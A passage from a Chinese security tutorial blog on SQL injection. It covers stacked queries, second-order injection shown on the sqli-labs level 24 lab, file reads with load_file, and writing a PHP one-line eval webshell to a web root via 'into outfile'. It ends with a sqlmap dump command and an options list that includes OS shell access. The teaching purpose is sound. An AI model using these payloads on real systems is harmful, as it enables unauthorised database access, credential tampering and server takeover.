意思就是再更新id=1的用户密码为123456。

堆叠查询的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的 SQL 语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

二阶注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与—次注入攻击漏洞相同的攻击威力。

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

总结,二次注入就是 由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的 SQL 语句导致被执行。以 sqli-labs第24关 为例

  1. 如下点击注册用户,这里注册用户名为 admin'#

    此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD

  2. 对注册的账号进行登录然后修改密码为ccccc

    此时提示密码已经成功修改了

    此时我们发现反倒是admin的密码被修改成了ccccc,而我们注册的用户admin’#的密码并没有被修改

漏洞原因

  1. 在进行用户注册的允许存在 '# 这种特殊字符

  2. 在修改密码页面的源码中,发现这里很明显存在注入漏洞

    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

    当我们登录账号 admin'# 并修改密码时,这条 SQL 语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc

    $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

6、SQL注入 getshell 的几种方式

sql注入getshell的几种方式

6.1、MySQL 读文件

load_file

条件:mysql secure_file_priv 配置项为空(不是NULL),即对数据读写没有限制

命令:show variables like "%secure_file_priv%";

mysql.ini 中修改:secure_file_priv=

例:读取C盘下1.txt文件:select load_file("/flag/1.txt");

load data infile

条件:mysql secure_file_priv 配置项为空(不是NULL),即对数据读写没有限制

语句读取指定文件内容,并存入数据库

6.2、MySQL 写文件

select into outfile

利用条件

  1. mysql secure_file_priv 配置项为空(不是NULL),即对数据读写没有限制

  2. 知道web服务器路径:
    @@basedir Mysql 存放路径
    @@datadir Mysql 数据存放路径

利用步骤

  1. 写入木马文件(一句话木马):select 1,2,'<?php @eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/20211205.php'%23

2、 运行木马,浏览器页面

7、SQLMAP SQL注入 扫描工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch --banner -D security -T emails -C id,email_id -dump

-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
-dbs 列出所有的数据库
-current-db 列出当前数据库
-tables 列出当前的表
-columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
-dump 获取字段中的数据
-batch 自动选择yes
-smart 启发式快速判断,节约浪费时间
-forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
-tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
-delay 设置多久访问一次
-os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级
-risk 风险等级,默认风险等级为1,此等级在大多数情况下对测试目标无害。 风险等级2添加了基于时间的注入测试,等级3添加了OR测试
-identify-waf 检测防火墙类型
-param-del=“分割符” 设置参数的分割符
-skip-urlencode 不进行url编码
-keep-alive 设置持久连接,加快探测速度
-null-connection 检索没有body响应的内容,多用于盲注
-thread 最大为10 设置多线程
-delay 延时
-safe-url web服务器会在多次错误的访问请求后屏蔽所有请求,使用-safe-url 就可以每隔一段时间去访问一个正常的页面
-level level有5个等级,默认等级为1,进行Cookie测试时使用-level 2 ,进行use-agent或refer测试时使用-level 3 ,进行 host 测试时使用-level 5
-tamper ["脚本名称"] 脚本在tamper目录下面,调用多个脚本用逗号隔开

Reference


漏洞之 SQL Injection(SQL 注入)
https://flepeng.github.io/081-security-漏洞-漏洞之-SQL-Injection(SQL-注入)/
作者
Lepeng
发布于
2021年3月8日
许可协议